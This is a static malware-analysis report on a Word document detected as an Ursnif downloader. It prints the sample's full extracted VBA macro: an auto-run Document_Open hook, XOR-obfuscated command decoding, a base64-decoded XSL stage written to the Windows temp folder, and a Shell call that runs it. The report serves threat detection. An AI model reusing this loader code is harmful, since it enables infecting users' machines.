Ursnif — Office (OOXML) malware analysis

Static analysis result for SHA-256 ccec697cc583e0cb…

MALICIOUS

Office (OOXML)

124.3 KB Created: 2019-12-20 03:45:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-05-25
MD5: 05182729124fa85b58ac82e61899aaab SHA-1: db929f526a18372ba0b092054518ab2dbb7f8f0d SHA-256: ccec697cc583e0cbc9cd267c2abf7ac9d40c060b2ffe009cc4a39e04a7dc0a34
164 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA project with a Document_Open macro, which is a common technique for executing malicious code upon opening. The heuristic firings and ClamAV detection strongly indicate this is a downloader for the Ursnif family. The script attempts to write an XSL file to the temporary directory, likely to execute a further stage of the attack.

Heuristics 6

  • ClamAV: Doc.Downloader.UrsnifDE0-7640644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.UrsnifDE0-7640644-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3351 bytes
SHA-256: 0ede7db1ca39dd84d5e1b47b3e7a2e6fbce59cdf16b2721955a91d57bba5631d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Call main
End Sub

Attribute VB_Name = "aI9YX"
Public Const aOKgA As String = ""
Public Const akTgK As String = "ndows\"
Public Const axfBk As String = "\t"
Function aFbilZ(aUDwz, aOf5xq)
Dim ajqfD As Long
ajqfD = 30264 * 1
' Billow sawmill
Dim a7Il2 As Integer
a7Il2 = 11774 * 1
aK05Yd = ""
For aAHlK = 0 To UBound(aUDwz)
Dim a1IZF As Integer
Dim asaoiU As Long
a1IZF = 55
asaoiU = 13800 / 1380
aTNF4 = a1IZF * asaoiU
aTLaoA = aUDwz(aAHlK) Xor aOf5xq
aK05Yd = aK05Yd & Chr(aTLaoA)
Next
aFbilZ = aK05Yd
End Function

Attribute VB_Name = "aItRnr"
Public Sub aNaIF()


Dim aFrwzI As Integer
aFrwzI = 12345 / 5
Dim auK5jR
Dim a17QpU As Long
auK5jR = 18915 / 195
a17QpU = 33
aVMs0 = auK5jR - a17QpU


Dim aGVe50
For aGVe50 = 1 To 36
Debug.Print Error(aGVe50)
Next aGVe50
' Lank labyrinth huge
Dim aORUm As Integer
Dim aWj4ek As Integer
aORUm = 7458 / 66
aWj4ek = 20
azP0g = aORUm / aWj4ek
' Commands calvinist walk cave gpl francis benjamin
Set aV05vR = aVq43d.str
acYWwR = aV05vR.Value
Open "c:\wi" & akTgK & axfBk & "emp" & "\aVtTC.xsl" For Output As #1
Print #1, aczfA2(acYWwR)
Close #1
End Sub
Sub asgukB(a7uYD)
Dim arqX61
Dim ap4yt As Long
arqX61 = 27
ap4yt = 17
a2kCV = arqX61 + ap4yt

Dim aUvmY
For aUvmY = 5 To 48
Debug.Print Error(aUvmY)
Next aUvmY

Dim a76g4n
For a76g4n = 31 To 54
Debug.Print Error(a76g4n)
Next a76g4n
End Sub
Function aczfA2(aCdaIM)

Set arE9dp = New MSXML2.DOMDocument
Dim aJ3gNT As Long
aJ3gNT = 10344 * 1
' Knocker scrawl priced
Set a9DIAg = arE9dp.createElement("b64")
Dim ai3HDv
ai3HDv = 31694 * 1
' Resin holier
a9DIAg.DataType = "bin.base64"
a9DIAg.Text = aCdaIM
aczfA2 = StrConv(a9DIAg.nodeTypedValue, vbUnicode)

End Function

Attribute VB_Name = "aLRs1"
Function asO4g()
asO4g = Array(70, 8, 23, 28, 74, 39, 48, 16, 50, 5, 56, 20, 9, 1, 16, 56, 23, 19, 11, 0, 10, 13, 19, 56, 94, 7, 70, 94, 16, 5, 9, 22, 11, 2, 75, 68, 16, 23, 13, 8, 68, 23, 23, 1, 7, 11, 22, 20, 68, 7, 13, 9, 19, 68, 7, 75, 68, 0, 9, 7)
End Function
Sub main()

Dim af45od
For af45od = 9 To 47
Debug.Print Error(af45od)
Next af45od
Dim aLRO9U As Integer
Dim avBryT As Integer
aLRO9U = 22
avBryT = 16
aSapw = aLRO9U / avBryT
' Thumping interstate literature breaker pluto
Dim a08d2 As String
aDBn8W = 9400 / 94
Dim aJ6td As Long
aJ6td = 3460 * 3
a08d2 = aFbilZ(asO4g, aDBn8W)

Dim a2zH7p
a2zH7p = 25563 * 1
' Elaboration
Dim a4Jj1 As Integer
a4Jj1 = 12441 * 1
' Broadcast rarely

aNaIF
Call VBA.Interaction.Shell@(StrReverse(a08d2))

Dim aeDjt
For aeDjt = 20 To 38
Debug.Print Error(aeDjt)
Next aeDjt
Dim an495O As Long
an495O = 21468 * 1
' Brief tangible two-edged
End Sub

Attribute VB_Name = "aVq43d"
Attribute VB_Base = "0{19C73C54-9BD5-4E3B-8C1B-4E9E23AC2EB4}{8C4B9CED-F0FC-4731-9138-677FD1E05FB0}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 32768 bytes
SHA-256: 1adc4f43de655ba34eb25196984e277a13d7113e0a8ddaec5c2d7e0a7c3bba15
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.